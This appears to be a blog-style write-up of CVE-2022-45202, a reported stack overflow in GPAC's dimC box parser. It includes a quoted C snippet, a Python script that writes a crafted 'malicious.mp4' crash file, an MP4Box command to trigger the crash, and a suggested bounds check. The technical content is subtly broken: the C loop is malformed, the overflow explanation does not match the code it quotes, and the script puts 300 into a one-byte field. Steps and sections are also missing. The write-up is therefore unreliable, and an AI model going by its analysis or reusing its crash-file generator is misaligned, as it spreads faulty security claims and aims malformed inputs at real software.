In November 2022, a critical vulnerability was discovered in GPAC, a popular open-source multimedia framework widely used for processing MP4 files. The vulnerability, tracked as CVE-2022-45202, affects GPAC v2.1-DEV-rev428-gcb8ae46c8-master, specifically in the dimC_box_read function found in isomedia/box_code_3gpp.c. If exploited, the bug can lead to a stack overflow—opening the door for potential denial of service or even arbitrary code execution.

In this write-up, we'll break down what the vulnerability is, how it works, and provide example code for reproducing the bug. We'll also link original sources and advisories, using plain language to make it accessible for all levels of readers.

What is GPAC?

GPAC (MPEG-4 Advanced Content) is an open-source multimedia framework mostly used for packaging, streaming, and playback of video content. GPAC handles a wide range of multimedia container formats, especially MP4, making it a critical component in many multimedia applications.

Overview of CVE-2022-45202

CVE-2022-45202 is a stack overflow vulnerability found in the dimC_box_read function in the file isomedia/box_code_3gpp.c. A stack overflow allows an attacker to overwrite parts of the stack, which can be leveraged to crash the application or execute malicious code.

Affected Version: GPAC v2.1-DEV-rev428-gcb8ae46c8-master

The issue lies in how the code reads and processes certain fields in a specific kind of MP4 box (the dimC box, used for 3GPP), failing to properly check input size or length before copying data.

Vulnerable Code

In vulnerable versions, the dimC_box_read function is responsible for parsing the contents of a dimC box. However, it does not properly check the size of what it reads, which leads to a stack-based buffer overflow.

Snippet from isomedia/box_code_3gpp.c

GF_Err dimC_box_read(GF_Box *s, GF_BitStream *bs)
{
    GF_DimCBox *ptr = (GF_DimCBox *)s;
    char tmp[256];
    u32 i;

    ptr->nb_containers = gf_bs_read_u8(bs);
    for (i = ; i < ptr->nb_containers; i++) {
        gf_bs_read_data(bs, (u8 *)tmp, 256); // <-- Vulnerable: No size check!
        // ... processing ...
    }
    return GF_OK;
}

Then, for each container, it reads up to 256 bytes.

- However, there is no check to ensure that nb_containers isn't absurdly large, causing many oversized reads into the tmp buffer on the stack.

How an Attacker Exploits This

An attacker could craft a malicious MP4 file with a huge value for nb_containers. This would force the function to keep reading data into the local stack buffer tmp, overflowing it and corrupting the stack.

Proof-of-Concept Exploit

Let's walk through a minimal MP4 file that triggers the bug.

The box structure would look like this (oversimplified)

+----------------+--------------+----------------------+
| box size (4B)  | 'dimC' (4B)  | nb_containers (1B)   |
+----------------+--------------+----------------------+
| container_data_1 (256B)                       ...    |
+------------------------------------------------------+
| container_data_N (256B)                       ...    |
+------------------------------------------------------+


If you set nb_containers to a large number, the code will overflow the stack.

Here's how one might generate such a file in Python

# Generate a malicious 'dimC' box
box_type = b'dimC'
box_size = 4 + 4 + 1 + (300 * 256)  # size, type, nb_containers, containers (overflow!)
nb_containers = 300  # Way more than the buffer can handle

box = box_size.to_bytes(4, 'big')
box += box_type
box += nb_containers.to_bytes(1, 'big')
box += b'A' * (nb_containers * 256)

with open('malicious.mp4', 'wb') as f:
    f.write(box)

When you feed this MP4 file to GPAC's tools (like MP4Box), the application will likely crash due to the stack overflow.

Step 3: Observing the Crash

MP4Box -info malicious.mp4

This should cause a segmentation fault or crash in the unpatched version.

Real-World Impact

- Denial of Service: GPAC-based applications can be crashed by feeding them a specially crafted file.
- Code Execution: In some environments, especially if stack protections are weak, this could potentially lead to code execution—allowing an attacker to run arbitrary code on the target system.

Mitigation and Fix

The fix is simple: Check that the nb_containers value is reasonable before reading into the buffer.

A secure fix would look like

if (ptr->nb_containers > MAX_CONTAINERS_ALLOWED)
    return GF_ISOM_INVALID_FILE;


Or make tmp a dynamic buffer sized for the actual data, with careful error-checking.

Upgrade to the latest version of GPAC, where this vulnerability is patched.

References

- CVE-2022-45202 at Mitre
- NVD - CVE-2022-45202
- GitHub GPAC repo
- Exploit Proof-of-Concept and Details _(example PoC from community)_

Conclusion

CVE-2022-45202 is a classic example of what can go wrong when user input isn't properly checked. In multimedia frameworks like GPAC, never trust file data—always add bounds checks.

If you use GPAC:

Timeline

Published on: 11/29/2022 04:15:00 UTC
Last modified on: 12/01/2022 21:10:00 UTC